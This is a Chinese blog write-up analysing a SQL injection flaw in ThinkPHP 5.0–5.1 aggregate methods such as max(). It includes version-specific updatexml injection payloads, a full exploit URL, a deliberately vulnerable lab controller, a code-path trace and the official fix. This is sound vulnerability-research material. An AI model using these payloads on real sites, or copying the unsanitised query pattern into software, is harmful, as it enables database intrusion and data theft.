thinkphp mysql函数_ThinkPHP5x-Mysql 聚合函数相关方法注入

漏洞概述

摘抄:

本次漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

不同版本 payload 需稍作调整:

5.0.0~5.0.21 、 5.1.3~5.1.10 : id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25 : id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

漏洞环境

composer create-project topthink/think=5.0.10 tp5010

composer.json文件:

"require": {

"php": ">=5.6.0",

"topthink/framework": "5.1.25"

},

更新:执行composer update

接下来设置漏洞点和配置数据库

将?application/index/controller/Index.php?文件代码设置如下:

namespace?app\index\controller;

class?Index

{

????public?function?index()

????{

????????$options?=?request()->get(‘options‘);

????????$result?=?db(‘users‘)->max($options);

????????var_dump($result);

????}

}

创建数据库信息如下:

create database tpdemo;

use tpdemo;

create table users(

id int primary key auto_increment,

username varchar(50) not null

);

insert into users(id,username) values(1,‘wtz‘);

在?config/database.php?文件中配置数据库相关信息

开启?config/app.php?中的?app_debug?和?app_trace

漏洞分析

payload:

http://127.0.0.1:88/tp51/public/index.php/index/index?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23

20200421182219450798.png

照例先去github上去找安全更新

20200421182219678346.png

20200421182219786749.png

主要就是代码中多了利用正则匹配检测特殊字符

我们开始利用debug分析代码

先补充前置知识:

1:我们get方式提交的数据都会通过input?方法获取数据,并通过?filterValue?方法进行简单过滤,但是根本没有对数组的键进行过滤处理。

20200421182219882456.png

2:用户输入的数据会原样进入框架的?SQL?查询方法中:(这个点得记住,框架的sql查询方法先进入?Query?类)

首先我们的入口是query类中的max方法

20200421182221011405.png

去看aggregate方法

20200421182221112972.png

去connection类看这个方法

20200421182221195983.png

看到这里经由parseKey方法处理,前面还有一个this->builder方法。

这个根据前面的经验就是继承于builder类中的select方法来生成我们的查询语句。

我们先看parseKey是怎么处理的我们的数据

parseKey?方法主要是对字段和表名进行处理,这里只是对我们的数据两端都添加了反引号。

20200421182221292666.png

这样看可能不是很清晰,自己单步调试一下就很清楚了。

可以看到最后返回了$key的值。

然后下一步:

20200421182221378607.png

回到$this->value方法

我们去看看builder类中的select方法。

20200421182221490916.png

在?select?方法中,程序会对?SQL?语句模板用变量填充,其中用来填充?%

FIELD%?的变量中存在用户输入的数据。

这里我们只看

$this->parseField方法,因为这里面的数据我们可控

20200421182222818115.png

20200421182222945073.png

20200421182223137463.png

这里只是把他用,拼接,返回了我们的payload。即使使用了parsekey处理数据,但是对我们的paylaod没有影响。

最终直接替换进?SQL?语句模板里,导致?SQL注入漏洞?的发生

20200421182224243951.png

ps:这个payload的限制就是payload前半部分的id`) from member必须是存在的字段名和表名,否则前半部分就会报错。用来闭合嘛很简单。

漏洞修复

官方的修复方法是:当匹配到除了?字母、点号、星号?以外的字符时,就抛出异常。

20200421182224387511.png

总结

七月火师傅的图:

20200421182224500797.png

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值